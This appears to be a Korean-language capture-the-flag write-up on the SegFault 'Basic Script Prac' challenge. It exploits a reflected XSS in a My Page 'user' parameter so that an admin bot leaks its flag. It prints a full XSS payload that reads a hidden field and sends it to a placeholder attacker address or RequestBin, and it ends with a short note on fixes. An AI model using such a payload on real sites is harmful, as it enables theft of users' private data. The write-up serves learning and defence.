[SegFault] (ClientScript) - Basic Script Prac

[SegFault] (ClientScript)

Basic Script Prac

Mypage에서 XSS가 일어난다! 마이페이지에 있는 관리자의 중요 정보! flag를 탈취해라!

문제 파악

본 문제의 경우 XSS 취약점을 이용하여, 관리자 Bot에 해당 링크를 입력하여 공격자 서버로 특정 위치의 중요 정보를 탈취하여 받으면 Flag를 획득할 수 있는 방식으로 이루어져 있다.

하지만 현재 공격자 서버를 갖고 있지 않으므로 RequestBin을 이용하기로 한다.

우선 위의 [관리자 방문 Bot Link]에 접속하면 다음과 같은 URL 입력창을 볼 수 있다.

XSS 취약점을 이용하여 원하는 정보를 찾고 해당 값을 가져오기 위한 링크를 위의 URL에 입력하면 공격자 서버(RequestBin)로 정보가 날아오는 방식이다.

이제 아래의 문제 링크에 접속하면 다음과 같은 창이 나온다.

우선 회원가입 후 로그인을 시도해본다.

문제에서 Mypage에서 XSS 취약점이 있다고 알려주고 있다. 그러므로 우선 마이페이지에 접속해본다.

 

XSS Point

마이페이지(Mypage)에 XSS 취약점이 존재한다고 했음으로 이를 확인해봐야한다. user 파라미터가 확인되므로 이를 변조 가능한지 확인해본다. < ' " >를 삽입해서 확인해본다.

위와 같이 < ' " >를 입력해본 결과 응답에서 그대로 입력값이 출력되는 것을 확인할 수 있다.

 

중요정보

마이페이지의 중요정보에 해당하는 부분은 Flag Here..! 라고 적혀있는 Info 부분이다. 관리자의 Info를 받아와야 하기 때문에 관리자가 해당 페이지에 접속했을 때 Info 부분에 적혀있는 값을 가져와야한다.

그러므로 해당 부분의 HTML 구조를 확인하여 document 값을 받아와야한다.

위와 같이 해당 부분의 구조는 info라는 이름의 input 태그의 placeholder 이다. 그러므로 이를 불러오면 다음과 같다.

---

풀이 과정 (해결 방안)

해당 Info를 가져오기 위한 페이로드(Payload)를 작성한다.

페이로드(Paylaod)

gear"/><img+src=x+onerror="data()"><script>function+data(){var+secretData=document.getElementsByName('info')[0].placeholder;var+i=new+Image();i.src="https://공격자 주소/?p="%2bsecretData;}</script><

img 태그를 이용하여 img를 불러오지 못했을 때(onerror) 스크립트 태드 내부의 함수를 실행하도록 하여, 해당 Info 값을 가져오도록 한다.

 

스크립트 삽입

위의 페이로드가 삽입된 URL을 복사하여 관리자 Bot에 보내준다.

탈취된 관리자의 중요 정보(Info)가 공격자의 주소(RequestBin)으로 받아와지는 것을 확인할 수 있다.

위와 같이 중요 정보 부분을 받아오는 일련의 과정을 담은 URL로의 접속 유도를 통하여 원하는 flag값이 획득되는 것을 확인할 수 있다.

---

취약점에 관한 고찰

본 문제의 경우 중요정보를 포함한 페이지에서 클라이언트 측 파라미터의 변조가 가능하고, 스크립트가 삽입 가능한 점을 이용하였다.
중요정보 페이지의 경우 파라미터를 통해 변조될 위험이 있으므로, 해당 이용자임을 확인하는 로직에 있어서 클라이언트 측의 파라미터로서 확인하지 않아야하고, 파라미터를 이용한다면 변조가 불가능하도록 구현해야한다.

---

질문 환영, 수정 및 보완에 대한 지적 환영